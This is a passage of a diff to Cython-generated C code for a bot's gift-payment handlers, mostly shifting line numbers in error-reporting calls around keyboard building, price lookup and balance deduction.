__pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_APPLY); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 204, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_APPLY); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 204, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_selected_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 204, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_selected_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_9 = __Pyx_PyUnicode_Concat(__pyx_kp_u_confirm_gift, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 204, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyUnicode_Concat(__pyx_kp_u_confirm_gift, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_9) < 0) __PYX_ERR(0, 204, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_9) < 0) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_CANCEL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_CANCEL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 206, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 206, __pyx_L1_error) - __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 206, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -7253,13 +7294,13 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 202, __pyx_L1_error) + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_get_gift_confirmation_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_get_gift_confirmation_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = NULL; __pyx_t_4 = 0; @@ -7279,7 +7320,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine PyObject *__pyx_callargs[3] = {__pyx_t_7, __pyx_cur_scope->__pyx_v_selected_months, __pyx_cur_scope->__pyx_v_price}; __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 209, __pyx_L1_error) + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -7287,19 +7328,19 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_confirmation_text = __pyx_t_8; __pyx_t_8 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 211, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 212, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_target_message, __pyx_t_7) < 0) __PYX_ERR(0, 212, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_target_message, __pyx_t_7) < 0) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_confirmation_text) < 0) __PYX_ERR(0, 212, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_confirmation_text) < 0) __PYX_ERR(0, 214, __pyx_L1_error) - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 214, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; __pyx_t_4 = 0; @@ -7319,14 +7360,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 214, __pyx_L1_error) + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_7) < 0) __PYX_ERR(0, 212, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_7) < 0) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 211, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -7341,12 +7382,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L9_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 211, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 213, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 211, __pyx_L1_error) + else __PYX_ERR(0, 213, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -7437,7 +7478,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 218, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 220, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -7445,9 +7486,9 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 218, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 220, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, 1); __PYX_ERR(0, 218, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, 1); __PYX_ERR(0, 220, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: @@ -7455,14 +7496,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 218, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 220, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, 2); __PYX_ERR(0, 218, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, 2); __PYX_ERR(0, 220, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "finalize_gift_handler") < 0)) __PYX_ERR(0, 218, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "finalize_gift_handler") < 0)) __PYX_ERR(0, 220, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 3)) { goto __pyx_L5_argtuple_error; @@ -7477,7 +7518,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 218, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 220, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -7516,7 +7557,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_15finalize_gift_handler(CYTH if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 218, __pyx_L1_error) + __PYX_ERR(0, 220, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -7530,7 +7571,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_15finalize_gift_handler(CYTH __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_17generator5, __pyx_codeobj__27, (PyObject *) __pyx_cur_scope, __pyx_n_s_finalize_gift_handler, __pyx_n_s_finalize_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_17generator5, __pyx_codeobj__25, (PyObject *) __pyx_cur_scope, __pyx_n_s_finalize_gift_handler, __pyx_n_s_finalize_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -7592,11 +7633,11 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 218, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 220, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -7617,20 +7658,20 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__4}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - __pyx_t_3 = __Pyx_GetItemInt(__pyx_t_1, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_t_3 = __Pyx_GetItemInt(__pyx_t_1, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_selected_months = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 222, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 222, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -7651,7 +7692,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_selected_months, Py_None}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -7659,25 +7700,25 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_price = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 223, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_2; __pyx_t_2 = 0; - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 225, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 227, __pyx_L1_error) __pyx_t_6 = (!__pyx_t_5); if (__pyx_t_6) { - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_show_alert, Py_True) < 0) __PYX_ERR(0, 226, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__25, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 226, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_show_alert, Py_True) < 0) __PYX_ERR(0, 228, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__23, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -7692,12 +7733,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 226, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 228, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 226, __pyx_L1_error) + else __PYX_ERR(0, 228, __pyx_L1_error) } } @@ -7714,9 +7755,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __Pyx_XGOTREF(__pyx_t_9); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = PyNumber_Negative(__pyx_cur_scope->__pyx_v_price); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L6_error) + __pyx_t_2 = PyNumber_Negative(__pyx_cur_scope->__pyx_v_price); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 232, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_10 = NULL; __pyx_t_4 = 0; @@ -7737,7 +7778,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L6_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -7767,18 +7808,18 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_9); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 230, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 232, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 230, __pyx_L6_error) + else __PYX_ERR(0, 232, __pyx_L6_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_datetime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_datetime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_utcnow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 231, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_utcnow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -7799,26 +7840,26 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 231, __pyx_L6_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 233, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_timedelta); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 231, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_timedelta); if (unlikely(!__pyx_t_2)) 